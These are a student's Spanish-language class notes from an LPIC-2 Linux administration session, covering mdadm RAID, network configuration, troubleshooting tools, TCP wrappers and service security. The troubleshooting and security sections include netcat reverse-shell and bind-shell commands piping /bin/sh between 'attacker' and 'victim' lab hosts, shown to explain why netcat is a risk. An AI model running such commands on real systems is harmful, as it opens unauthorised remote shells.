LPIC2 2021 Sesión 7 (2021-02-23)

Documentación relacionada:

- Manual Certificacion LPIC-2.pdf, pag 72
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/*
- Presentaciones/2020/201/
- gdrive://
- Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Gestion de Swap.txt

Clase

RAID

> Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/1-Gestión Avanzada de Discos.pdf, pag 2 √

> Manual Certificacion LPIC-2.pdf, pag 72 √

- en certificación no preguntan por que es cada RAID (0,1,5,6)
- `mdadn <accion> <volumen> -l <nivel-raid> -n=<n-discos> [<dispositivos>]` ← `yum install mdadm`
  - **-C**: crear volume RAID
    - **--create**
  - **-S**: desactiva RAID y recursos
  - **-v**: verbose
    - **--verbose**
  - **/dev/mdX**: el volumen se ha de llamar así (cambiando X por un numeral)
  - **-l**: nivel de raid: 0,1,5
    - **--level**
  - **-n**
    - **--raid-devices**
- **-D**: comprobación del volumen
  - **/proc/mdstat**
- **--spare-devices=<n> <dispositivo-spare>**
- **--detail**: información del estado del RAID, operaciones pendientes, estado de los discos, para monitorización
- **-f <dispositivo>**: marcar el dispositivo como fallido (obliga al RAID a reajustarse, utilidad para cambio de disco)
  - **--fail**
  - OJO con raid 0, pueden perderse datos dependiendo de la confiración del spare
- **-r <dispositivo>**: retirar un dispositivo del RAID
  - **--remove**
- **-a <dispositivo>**: añadir dispositivo
  - **--add**
- **--stop**: para el RAID

- **--remove**: eliminar el RAID, no más disponible
- intent bitmap:
  - Una cosa importante es contar con el Intent Bitmap activo, esto es una característica que se le agrega a un arreglo por software y permite hacer sincronizaciones diferenciales entre los discos tras producirse una falla, reduciendo asi los tiempos al no tener que sincronizar el disco completo cada vez que algo ocurre.
  - `mdadm --grow <raid> --bitmap=internal`
  - `mdadm --grow <raid> --bitmap=none`
- `madam –zero-superblock <dispositivos-raid>`: eliminar el superbloque con metadatas para que no de problemas de reutilización (en otro RAID)
- **--query [<raid>|<dispositivo-fisico>]**
- **--examine <dispositivo-fisisco**
- **/etc/mdadm/mdadm.conf**
  - `mdadm --detail --scan » /etc/mdadm.conf`
  - **mdadm** no depende de este fichero de configuración para su funcionamiento. Es una manera adiciñal de seguir las pista.
  - **/etc/raidtab** ?

> Crear RAID y montar LVM sobre él (2-Laboratorio Volumenes Logicos+RAID1.pdf)

Laboratorio

> Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/3-RAID/Laboratorio RAID1 mdadm linux.txt √

> 1-Laboratorio crear un RAID 1 por software.pdf √

- crear partición (100%) del tipo Linux RAID **fd** en los discos sdb,sdc,sdd
- `mdadm -v -C /dev/md0 -n 2 /dev/sdb1 /dev/sdc1 -l 1 --spare-devices=1 /dev/sdd1`
  - nuevo dispositivo **/dev/md0** (sdb1, sdc1)
    - el nombre ha de ser **/dev/mdX**
  - RAID Level 1
  - un disco de **spare** (sdd1)
- formateamos y montamos:
  - `mkfs.ext3 /dev/md0`
  - `mount /dev/md0 /mnt`
- dejamos en terminal abierto una monitorización sobre el RAID: `watch mdadm --detail /dev/md0`
  - forzamos el fallo de uno de los discos: `mdadm /dev/md0 -f /dev/sdb1`
    - podemos ver en el terminal de **watch** como el sistema reemplaza el sdb1 por el spare sdd1
  - retiramos el disco «dañado»: `mdadm /dev/md0 -r /dev/sdb1`
    - vemos como no forma parte del RAID
  - y añadimos «otro»: `mdadm /dev/md0 -a /dev/sdb1`
  - para eliminar el raid:
    - `umount /mnt`
    - `mdadm --stop /dev/md0`
    - `mdadm --remove /dev/md0`

- es importante eliminar el superbloque (metadatos): `mdamd --zero-superblock /dev/sdb1 /dev/sdb1 /dev/sdc1 /dev/sdd1`
- eliminar configuración: `cat /dev/null > /etc/mdadm.conf`
- otro comando: `mdadm -As /dev/md0`
  - **-s**: escanea el /etc/mdadm.conf

> Ejemplos de conversión de un raid a otro... RAID1→RAID3, ampliar RAID5

Laboratorio (extra)

Sacar un disco de un raid existente y montarlo en un nuevo ordenador, como nuevo raid, para acceder a los datos contenidos

- `mdadm --create --verbose /dev/md1 --level=mirror --raid-devices=2 /dev/sdb1 missing`
- `mount /dev/md1 /mnt`

Cabina ISCSI

> Pendiente próxima semana: cabinas discos con opneFiler

> Material Practicas LPIC-2/LPIC-201/4-Filesystem and Devices/Configuración Almacenamiento ISCSI ×

- cabinas con openfiler, para conectarnos
- http://clusterfrak.com/sysops/app_installs/openfiler_install/
- https://www.openfiler.com/
- http://vmwareinsight.com/Tutorials/2016/7/5799894/Step-by-Step-Configuration-Guide-for-Using-Openfiler-as-Shared-Storage-in-ESXi-and-vSphere-Environment

Networking Configuration

> Manual Certificacion LPIC-2.pdf, pag 145 √

> Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configuración de Red en Red Hat Enterprise Linux.pdf √

> Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Configurar la red en RedHat7.txt √

- IPv6

Networking Configuration:comandos

- `ip a`
- nombrar las tarjetas de red a **ethX**:
  - **biosdecode**
  - modificar **/etc/default/grub**
    - `GRUB_CMDLINE_LINUX="... quiet net.ifnames=0 biosdevname=0"`
- archivo de configuración centos/redhat: **/etc/sysconfig/network-scripts/ifcfg-<network_device>**
  - al modificar: **systemctl restart network**, **ip link set <network_device> down (y después up**
- desactivar IPv6 (si no se ha de utilizar) → ¿como?
- **NetworkManager**: nuevo gestor con perfiles, en sustitución del anterior

hostname

- centos7:
  - **/etc/hostname**
  - `hostnamectl set-hostname <FQDN>`
- centos6:
  - **/etc/sysconfig/network**
- modificar **/etc/hosts**: como buena práctica, que la máquina sepa resolverse a si misma

configuración cliente DNS

- **/etc/resolv.conf**: servidores DNS para mi máquina
  - nameserver: servidores que resuelven
  - search: sufijo de búsqueda (lo que añade a los nombres que usamos para localizar máquinas)
  - domain: el dominio en el que trabajamos

puertas de enlace

definir rutas estáticas a otras redes

- `netstat -r`
- `route add -net <red-destino> netmask <mascara> gw <dirección-gateway-salida>`

alias IP

asignar varias IPs en el mismo interfaz

- `vi /etc/sysconfig/network-scripts/ifcfg-<interfaz>`
  - renombro IPADDR a IPADDR0 y NETMASK a NETMASK0
  - añado IPADDR1 y NETMASK1 con diferente IP
  - `systemctl restart network` (o networkManager)
- copiar /etc/sysconfig/network-scripts/ifcfg-<interfaz> en /etc/sysconfig/network-scripts/ifcfg-<interfaz>:0
- forward paquetes (reenvio de paquetes entre 2 redes en 2 interfaces:
  - **/etc/sysctl.conf** → **net.ipv4.ip_forward = 1** → `sysctl -p` (aplicar)

- **/etc/nsswitch.conf**: métodos de resolución usuarios
  - **nmtui**: networkManager «GUI» ← en modo texto
    - `yum install NetworkManager-tui -y`
  - **nmcli**: networkManager «CLI»
    Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Lab interfaces de red con nmcli.txt
    - `nmcli connection show`
    - nos permite crear los ficheros de configuración (desde cero) en un comando
  - debian:
    - **/etc/network/interfaces**
    - `service networking restart`
      Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf

arp

- `arp`
  - **-n**: consultar caché
  - **-d <dirección-ip>**: borrar
  - **-s <dirección-ip> <dirección -mac>**: asignar
  - **-f <file>**: importa lista de direcciones mac-ip

```
dirección_mac1dirección_mac2...
dirección_macndirección_ip1
dirección_ip2
dirección_ipn
```

Networking Configuration: Troubleshooting

- `ss`, `netstat` (deprecado por ss)
  - `netstat -tan | grep -i listen`: que estoy ofreciendo TCP
  - `netstat -putan | grep -i listen`
- `nc`: netcat, navaja suiza ← desinstalar! ← `yum remove nmap-ncat` problema de seguridad
  - shell reverso
    - `nc -lvp 1234 -e /bin/sh &`
    - `nc 192.168.2.5 1234`
- **/etc/sysconfig/selinux** → disabled (preparativos para laboratorios)
  - y reiniciar (no hay servicio que controle esto)
- `tcpdump`
- `nmap`
  - `yum install nmap-frontend -y` → `zenmap`: frontend gráfico
- `traceroute`
- `mtr`
- `dmesg`
- `sar`: monitorización interfaces
  - sar
  - `ksar`: analizar los datos generados por un **sar**

Networking Configuration: TCPWrappers

> Manual Certificacion LPIC-2.pdf, pag 155

Es posible administrar el acceso a un sistema Linux según la dirección IP o el nombre del host cliente. Se puede gestionar una lista de «todos los que están autorizados», o bien una lista de «todos los que están prohibidos». A pesar de que las modernas técnicas de intrusión y piratería informática vuelven este tipo de control de acceso casi insignificante, no deja de ser una forma de control de acceso rudimentaria que puededesalentar a curiosos. Además, la certificación LPI exige el conocimiento de estas técnicas de control de acceso.

La implementación TCP Wrappers utilizada en los sistemas Linux se sustenta en la librería libwrap.

- **/etc/host.allow**, **/etc/host.deny** : desuso (TCP wrappers)
- `strings -f /usr/sbin/sshd | grep hosts_access`: programas que lo soportan
- 3 etapas de comprobación de acceso a un servicio embebido TCP:
  - está autorizado expresamente
  - está denegado expresamente
  - permitido por defecto
- usa expresiones en sus ficheros de configuración para permitir (o denegar)
  - ALL
  - LOCAL
  - UNKOWN
  - KNOWN
  - PARANOID
  - EXCEPT
- permitimos en **allow**, denegamos en **deny** (o tendrá acceso por la tercera regla)

> Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Problemas de red en Linux.pdf

Resumen seguridad servicios

> Material Practicas LPIC-2/LPIC-201/5-Networking Configuration/Explicacion Topic 110 Security.txt

```
Resumen Seguridad de servicos y de red pagina 479 Manual curso LPIC-1


find / -type f -perm -4000
find / -type d -perm -2000
find / -type d -perm -1000

##El comando lsof le ayuda a determinar
##qué proceso está utilizando un archivo del punto de montaje en el momento de
iniciar el comando
lsof /backup/
lsof /backup/
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    8153 root  cwd    DIR   8,17     4096    2 /backup

##Como administrador, puede iniciar fuser para forzar la parada de los procesos que
estén accediendo al punto de montaje.
fuser -km /backup
kill -9 8153
```

```
El comando nmap es un escaneador de puertos:
yum install nmap -y
nmap localhost
namap -A 192.168.1.125

yum install nmap-frontend -y
zenmap
--------------------------------------------------------------------------------
------------------------------
###110.2 Setup host security##

Servicios de red xinetd -->Pag del manual 419
yum install xinetd

Los archivos de configuración son:
• /etc/xinetd.conf: configuración global
• /etc/xinetd.d/*: directorio que contiene los archivos específicos para los
servicios.
Existe un archivo por servicio, con el mismo nombre que el especificado en
/etc/services.

##Si modificamos ficheros de configuracion reiniciamos los servicios
service xinetd restart
--------------------------------------------------------------------------------
----------
#############Los tcp_wrappers##########

##Resumen manual de LPIC-1 pagina 484
Los archivos de configuración son /etc/hosts.allow y /etc/hosts.deny

##Cada programa que utiliza los tcp_wrappersse compila con la librería libwrap de
manera estática
 (el comando ldd no permite ver la librería).

[root@sercentos7 ~]# strings -f /usr/sbin/sshd | grep hosts_access
/usr/sbin/sshd: hosts_access

Si no se devuelve ninguna línea, el programa no utiliza las tcp_wrappers.
 Entre los servicios que utilizan las tcp_wrappers, encontramos:
 • sendmail (incluyendo postfix);
 • sshd (ssh);
 • xinetd (y por lo tanto de manera indirecta todos los servicios asociados);
 • vsftpd (ftp);
 • portmap (y por lo tanto nis, nfs);
 • in.telnetd (telnet), así como la mayoría de los servicios soportados por xinetd;

La comprobación de acceso a un servicio embebido TCP se hace en tres etapas:
• ¿se autoriza el acceso de manera explícita?
 • si no es el caso, ¿se prohíbe el acceso de manera explícita?
 • si no es el caso, por defecto, se autoriza el acceso.


 Para verificar una regla, el sistema lee primero /etc/hosts.allow, luego
/etc/hosts.deny.
 La búsqueda se detiene en la primera correspondencia encontrada.
 Una línea en hosts.allow autoriza la conexión.
```

```
 Una línea en hosts.deny prohíbe la conexión.
 Si no se deniega de manera explícita el acceso, se autoriza: la petición no
corresponde a ningún criterio.


 Los archivos de configuración son /etc/hosts.allow y /etc/hosts.deny. La sintaxis
es común:

En el ejemplo siguiente:
• Sólo los miembros de la subred 192.168.1.0 tienen permiso para conectarse al
servidor ftp (prohibido para todos los demás).
• Los anfitriones puesto1 y puesto2 tienen acceso a telnet y portmap.
• Los anfitriones de baddominio.org, excepto trusted, no tienen conexión alguna
posible.
• Se prohíbe el servicio pop/imap a todos los de la red 192.168.0.0, salvo
192.168.1.5.

 /etc/hosts.allow
 vsftpd: 192.168.1.
 in.telnetd, portmap: puesto1, puesto2
 ALL:/opt/script/supervisamen
 servicio: lista_de_hosts [:shell_command]


 # /etc/hosts.deny
 ALL: .baddominio.org except trusted.baddominio.org UNKNOWN
 vsftpd,in.telnetd,portmap: ALL
 dovecot : 192.168.0. EXCEPT 192.168.0.5 UNKNOWN

La lista de clientes admite una sintaxis avanzada:
 • ALL: correspondencia sistemática.
 • LOCAL: todos los anfitriones cuyo nombre no contiene punto (puesto1, puesto2,
etc.).
 • UNKNOWN: anfitrión cuyo nombre no se puede resolver.
 • KNOWN: anfitrión cuyo nombre se puede resolver.
 • PARANOID: anfitrión cuyo nombre no se puede resolver o cuyo IP no tiene
resolución inversa.
 • EXCEPT: permite excluir ciertos anfitriones.
--------------------------------------------------------------------------------
------------------------
##Reverse Shell-Netcat:
yum install nc -y
$ sudo apt-get update -y
$ sudo apt-get install netcat -y

Este software esta presente en casi todas las distribuciones y es la manera mas
sencilla de obener Reverse.
Aun así en los sistemas en producción no suele estar disponible.

##En la máquina del atacante 192.168.33.10 Centos8:
nc -lvp 1234

##En la máquina de la víctima 192.168.33.11 debian-10:
nc -e /bin/sh 192.168.33.10 1234
```

```
###Bind Shell- Netcat####:

Una bind shell utilizando Netcat. Una bind shell se diferencia de la reverse en que la escucha se realiza en la máquina víctima.

Para el ejemplo la ip de la víctima será la 10.10.10.2

##En la máquina de la víctima debian-10 192.168.33.11:
nc -lvp 1234 -e /bin/sh &

##En la máquina del atacante, 192.168.33.11 es la maquina victima:
nc 192.168.33.11 1234
```